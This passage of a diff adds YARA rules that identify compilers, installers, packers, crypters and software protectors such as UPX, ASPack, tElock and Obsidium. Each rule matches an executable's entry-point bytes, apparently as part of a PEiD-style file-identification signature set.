+		$1 = {B4 4E FE C6 CD 21 B8 ?? 3D BA ?? 00 CD 21 93 B4 40 CD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_C_19901992_
+{
+	meta:
+		description = "Microsoft C (1990/1992)"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_25___h_
+{
+	meta:
+		description = "Thinstall 2.5 -> ??? (h)"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A7 1A 00 00 B9 6C 1A 00 00 BA 20 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD EC 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Hardlock_dongle_Alladin_
+{
+	meta:
+		description = "Hardlock dongle (Alladin)"
+	strings:
+		$0 = {5B 53 50 45 43 5D E8 ?? ?? ?? ?? 5D 8B C5 81 ED 41 24 40 ?? 2B 85 89 26 40 ?? 83 E8 0B 89 85 8D 26 40 ?? 0F B6 B5 91 26 40 ?? 8B FD}
+		$1 = {5C 5C 2E 5C 48 41 52 44 4C 4F 43 4B 2E 56 58 44 00 00 00 00 5C 5C 2E 5C 46 45 6E 74 65 44 65 76}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CrypKey_v5__v6__CrypKey_Canada_Inc_
+{
+	meta:
+		description = "CrypKey v5 - v6 -> CrypKey (Canada) Inc"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 58 83 E8 05 50 5F 57 8B F7 81 EF ?? ?? ?? ?? 83 C6 39 BA ?? ?? ?? ?? 8B DF B9 0B ?? ?? ?? 8B 06}
+	condition:
+		$0 at entrypoint
+}
+rule _Reg2Exe_225__by_Jan_Vorel_
+{
+	meta:
+		description = "Reg2Exe 2.25 - by Jan Vorel"
+	strings:
+		$0 = {68 68 00 00 00 68 00 00 00 00 68 70 7D 40 00 E8 AE 20 00 00 83 C4 0C 68 00 00 00 00 E8 AF 52 00 00 A3 74 7D 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 9C 52 00 00 A3 70 7D 40 00 E8 24 50 00 00 E8 E2 48 00 00 E8 44 34 00 00 E8 54 28 00 00 E8 98 27 00 00 E8 93 20 00 00 68 01 00 00 00 68 D0 7D 40 00 68 00 00 00 00 8B 15 D0 7D 40 00 E8 89 8F 00 00 B8 00 00 10 00 68 01 00 00 00 E8 9A 8F 00 00 FF 35 A4 7F 40 00 68 00 01 00 00 E8 3A 23 00 00 8D 0D A8 7D 40 00 5A E8 5E 1F 00 00 FF 35 A8 7D 40 00 68 00 01 00 00 E8 2A 52 00 00 A3 B4 7D 40 00 FF 35 A4 7F 40 00 FF 35 B4 7D 40 00 FF 35 A8 7D 40 00 E8 5C 0C 00 00 8D 0D A0 7D 40 00 5A E8 26 1F 00 00 FF 35}
+		$1 = {68 68 00 00 00 68 00 00 00 00 68 70 7D 40 00 E8 AE 20 00 00 83 C4 0C 68 00 00 00 00 E8 AF 52 00 00 A3 74 7D 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 9C 52 00 00 A3 70 7D 40 00 E8 24 50 00 00 E8 E2 48 00 00 E8 44 34 00 00 E8 54 28 00 00 E8 98}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PGMPACK_v014_
+{
+	meta:
+		description = "PGMPACK v0.14"
+	strings:
+		$0 = {1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeCode_100_COM_
+{
+	meta:
+		description = "ExeCode 1.00 [COM]"
+	strings:
+		$0 = {8B E8 BA 4C 01 B4 09 CD 21 2E A1 09 01 8C C3 03 C3 B1 02 2E 8B 1E 0F 01 F7 C3 03 00 74 03 83 C3 03 D3 EB 2E 89 1E 19 01 BE 09 01 BF F0 01 B9 09 00 F3 A5 03 C3 05 2D 00 8E C0 05 0E 00 03 C3 FA 8E D0 BC 00 02 FB 1E 8C D8 05 1F 00 8E D8 2E 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _guruX_
+{
+	meta:
+		description = "guruX"
+	strings:
+		$0 = {EB 03 ?? ?? ?? 1E EB 03 ?? ?? ?? 9C EB 02 ED ?? EB 01 ?? 60 EB 03 ?? ?? ?? EB 01 ?? E8 03 00 00 00 ?? ?? ?? 58 40 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PluginToExe_v102__BoB__BobSoft_
+{
+	meta:
+		description = "PluginToExe v1.02 -> BoB / BobSoft"
+	strings:
+		$0 = {E8 00 00 00 00 29 C0 5D 81 ED 32 42 40 00 50 8F 85 DD 40 40 00 50 FF 95 11 42 40 00 89 85 D9 40 40 00 FF 95 0D 42 40 00 50 FF 95 21 42 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 25 42 40 00 89 85 E1 40 40 00 EB 6C 6A 01 8F 85 DD 40 40 00 6A 58 6A}
+		$1 = {E8 00 00 00 00 29 C0 5D 81 ED 32 42 40 00 50 8F 85 DD 40 40 00 50 FF 95 11 42 40 00 89 85 D9 40 40 00 FF 95 0D 42 40 00 50 FF 95 21 42 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 25 42 40 00 89 85 E1 40 40 00 EB 6C 6A 01 8F 85 DD 40 40 00 6A 58 6A 40 FF 95 15 42 40 00 89 85 D5 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 15 42 40 00 89 47 1C C7 07 58 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXEPACK_369_
+{
+	meta:
+		description = "EXEPACK 3.69"
+	strings:
+		$0 = {8B E8 8C C0 05 10 00 0E 1F A3 04 00 03 06 0C 00 8E C0 8B 0E 06 00 8B F9 4F 8B F7 FD F3 A4 50 B8 34 00 50 CB 8C C3 8C D8 48 8E D8 8E C0 BF 0F 00 B9 10 00 B0 FF F3 AE 47 8B F7 8B C3 48 8E C0 BF 0F 00 B1 04 8B C6 F7 D0 D3 E8 8C DA 2B D0 73 04}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroDog_Win32Shell_V4093_Dll__SafeNet_
+{
+	meta:
+		description = "MicroDog Win32Shell V4.0.9.3 Dll -> SafeNet"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 19 FF FF FF E9 AF EC FF FF 90 90 90 90 90 55 8B EC 83 EC 18 53 56 57 8B 45 08 8B 00 C1 E8 10 89 45 FC 8B 45 08 8B 00 25 FF FF 00 00 89 45 F8 C7 45 F4 5A 01 00 00 C7 45 EC 35 4E 00 00 8B 45 F4 0F AF 45 F8 25 FF FF 00 00 89 45 F0 83 7D}
+		$1 = {80 7C 24 08 01 0F 85 19 FF FF FF E9 AF EC FF FF 90 90 90 90 90 55 8B EC 83 EC 18 53 56 57 8B 45 08 8B 00 C1 E8 10 89 45 FC 8B 45 08 8B 00 25 FF FF 00 00 89 45 F8 C7 45 F4 5A 01 00 00 C7 45 EC 35 4E 00 00 8B 45 F4 0F AF 45 F8 25 FF FF 00 00 89 45 F0 83 7D FC 00 74 0F 8B 45 EC 0F AF 45 FC 25 FF FF 00 00 01 45 F0 8B 45 EC 0F AF 45 F8 8B 4D F0 C1 E1 10 81 E1 00 00 FF FF 03 C1 40 89 45 E8 8B 45 E8 8B 4D 08 89 01 C1 6D E8 10 81 65 E8 FF 7F 00 00 66 8B 45 E8 EB 00 5F 5E 5B C9 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MCLOCK_13_
+{
+	meta:
+		description = "MCLOCK 1.3"
+	strings:
+		$0 = {90 90 90 FA 29 C0 8E C0 26 C6 06 04 00 00 26 C6 06 05 00 00 26 8C 0E 06 00 26 C6 06 0C 00 00 26 C6 06 0D 00 00 26 8C 0E 0E 00 FB CD 01 8C C8 8E C0 CD 03 29 C0 BC 00 00 50 E9 00 00 BE 00 00 B3 00 B9 21 00 2E 30 1C 46 E2 FA CF}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_PEtite_21__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PEtite 2.1) -> emadicius"
+	strings:
+		$0 = {B8 00 50 40 00 6A 00 68 BB 21 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 83 C4 04 61 66 9D 64 8F 05 00 00 00 00 83 C4 08 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {B8 00 50 40 00 6A 00 68 BB 21 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 83 C4 04 61 66 9D 64 8F 05 00 00 00 00 83 C4 08 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RobinPE_vnew__Robin_
+{
+	meta:
+		description = "RobinPE v.new -> Robin"
+	strings:
+		$0 = {60 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_014__Jeremy_Collake_
+{
+	meta:
+		description = "PEBundle 0.14 -> Jeremy Collake"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 8C 33 40 00 0B C0 0F 84 DE 01 00 00 89 85 12 33 40 00 83 BD D0 32 40 00 01 74 0D 83 BD CC 32 40 00 01 74 2A}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_012_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.12 beta -> Dwing"
+	strings:
+		$0 = {BE 48 01 40 00 AD ?? ?? ?? A5 ?? C0 33 C9 ?? ?? ?? ?? ?? ?? ?? F3 AB ?? ?? 0A ?? ?? ?? ?? AD 50 97 51 ?? 87 F5 58 8D 54 86 5C ?? D5 72 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B6 5F FF C1}
+	condition:
+		$0 at entrypoint
+}
+rule _AsCrypt_V01__SToRM_
+{
+	meta:
+		description = "AsCrypt V0.1 -> SToRM"
+	strings:
+		$0 = {B9 ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? 83 04 24 04 ?? 90 90 90 83 E9 03 E2 EC EB ?? 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _EXECryptor_151__153__SoftComplete_Development_
+{
+	meta:
+		description = "EXECryptor 1.5.1 - 1.5.3 -> SoftComplete Development"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_32x_WinMain_
+{
+	meta:
+		description = "MinGW 3.2.x (WinMain)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 FC 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 FC 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 18 41 40 00 89 EC 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v198___Nullsoft_
+{
+	meta:
+		description = "Nullsoft Install System v1.98 ->  Nullsoft"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 2C 81 40}
+	condition:
+		$0 at entrypoint
+}
+rule _ID_Application_Protector_12__ID_Security_Suite_
+{
+	meta:
+		description = "ID Application Protector 1.2 -> ID Security Suite"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F2 0B 47 00 B9 19 22 47 00 81 E9 EA 0E 47 00 89 EA 81 C2 EA 0E 47 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+		$1 = {60 E8 00 00 00 00 5D 81 ED F2 0B 47 00 B9 19 22 47 00 81 E9 EA 0E 47 00 89 EA 81 C2 EA 0E 47 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PuNkMoD_11a__PuNkDuDe_
+{
+	meta:
+		description = "PuNkMoD 1.1a -> PuNkDuDe"
+	strings:
+		$0 = {94 B9 5E 01 00 00 BC ?? ?? ?? 00 80 34 0C ?? 80 2C 0C ?? D2}
+	condition:
+		$0 at entrypoint
+}
+rule _Pack_10_
+{
+	meta:
+		description = "Pack 1.0"
+	strings:
+		$0 = {EB 08 00 00 00 00 00 00 00 00 2E 8C 1E 06 00 2E 8C 06 08 00 8C C3 83 C3 10 8C C8 8E D8 BE 52 00 FC AD 3D FF FF 75 0B AD 3D FF FF 74 0C 03 C3 8E C0 AD 8B F8 26 01 1D EB E8 2E 8E 06 08 00 2E 8E 1E 06 00 8B C3 2E 03 06 04 00 50 2E A1 02 00 50}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_FORTRAN_Library_19_
+{
+	meta:
+		description = "MS FORTRAN Library 19??"
+	strings:
+		$0 = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC B8 ?? ?? 8E C0 26 C7 ?? ?? ?? ?? ?? 26}
+		$1 = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? 9A ?? ?? ?? ?? 9B DB E3 9B D9 2E ?? ?? 33 C9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EncryptPE_V22004616V22006630__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2004.6.16-V2.2006.6.30 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 7A 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00}
+		$1 = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00}
+		$2 = {60 9C 64 FF 35 00 00 00 00 E8 7A 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$3 = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _North_Star_PE_Shrinker_13_by_Liuxingping_
+{
+	meta:
+		description = "North Star PE Shrinker 1.3 by Liuxingping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PCShrinker_v071__Virogen_
+{
+	meta:
+		description = "PC-Shrinker v0.71 -> Virogen"
+	strings:
+		$0 = {9C 60 BD ?? ?? ?? ?? 01 AD 54 3A 40 00 FF B5 50 3A 40 00 6A 40 FF 95 88 3A 40 00 50 50 2D ?? ?? ?? 00 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v1250__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium v1.2.5.0 -> Obsidium Software"
+	strings:
+		$0 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64}
+		$1 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Free_Pascal_v1010_win32_GUI_
+{
+	meta:
+		description = "Free Pascal v1.0.10 (win32 GUI)"
+	strings:
+		$0 = {C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_v01b__v03b_v03__SMoKE_
+{
+	meta:
+		description = "EXE Shield v0.1b - v0.3b, v0.3 -> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05}
+		$1 = {E8 03 ?? ?? ?? E9 EB 6C 58 40 FF E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Pelles_C_2x4x_DLL__Pelle_Orinius_
+{
+	meta:
+		description = "Pelles C 2.x-4.x DLL -> Pelle Orinius"
+	strings:
+		$0 = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10}
+		$1 = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Borland_Delphi_v60_KOL_
+{
+	meta:
+		description = "Borland Delphi v6.0 KOL"
+	strings:
+		$0 = {55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WinKript_v10__Mr_Crimson_
+{
+	meta:
+		description = "WinKript v1.0 -> Mr. Crimson"
+	strings:
+		$0 = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v070_
+{
+	meta:
+		description = "UPX v0.70"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 83 ?? ?? 31 DB EB}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_273_
+{
+	meta:
+		description = "EXE Stealth 2.73"
+	strings:
+		$0 = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v099__tHE_EGOiSTE_
+{
+	meta:
+		description = "tElock v0.99 -> tHE EGOiSTE"
+	strings:
+		$0 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_yodas_cryptor_12__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake yoda's cryptor 1.2) -> emadicius"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC 90 2C 8A C0 C0 78 90 04 62 EB 01 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v109a__JRSoftware_
+{
+	meta:
+		description = "Inno Setup Module v1.09a -> JRSoftware"
+	strings:
+		$0 = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 A7 7F FF FF E8 FA 92 FF FF E8 F1 B3 FF FF 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_V12__SISTeam_
+{
+	meta:
+		description = "AntiDote V1.2 -> SIS-Team"
+	strings:
+		$0 = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 91 02 6D 61 6C 6C 6F 63 00 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 C5 02 73 74 72 73 74 72 00 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v14__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.4 -> CGSoftLabs"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+		$1 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 34 2E 2E B8}
+		$2 = {65 58 50 72 2D 76 2E 31 2E 34 2E}
+		$3 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 34 2E 2E B8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 or $3 at entrypoint
+}
+rule _tElock_v098b1_
+{
+	meta:
+		description = "tElock v0.98b1"
+	strings:
+		$0 = {E9 25 E4 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1992_13_
+{
+	meta:
+		description = "MS Run-Time Library 1992 (13)"
+	strings:
+		$0 = {BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB 33 DB B8 ?? ?? CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Elicense_System_V4000__ViaTech_Inc_
+{
+	meta:
+		description = "Elicense System V4.0.0.0 -> ViaTech Inc"
+	strings:
+		$0 = {00 00 00 00 63 79 62 00 65 6C 69 63 65 6E 34 30 2E 64 6C 6C 00 00 00 00}
+		$1 = {00 00 00 00 63 79 62 00 65 6C 69 63 65 6E 34 30 2E 64 6C 6C 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Special_EXE_Pasword_Protector_101_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "Special EXE Pasword Protector 1.01 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_101b_
+{
+	meta:
+		description = "ASPack 1.01b"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED D2 2A 44 00 B8 CC 2A 44 00 03 C5 2B 85 A5 2E 44 00 89 85 B1 2E 44 00 80 BD 9C 2E 44 00 00 75 15 FE 85 9C 2E 44 00 E8 1D 00 00 00 E8 E4 01 00 00 E8 7A 02 00 00 8B 85 9D 2E 44 00 03 85 B1 2E 44 00 89 44 24 1C 61 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Macromedia_Flash_Projector_60_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Macromedia Flash Projector 6.0"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Inliner_v10_by_GPcH_
+{
+	meta:
+		description = "UPX Inliner v1.0 by GPcH"
+	strings:
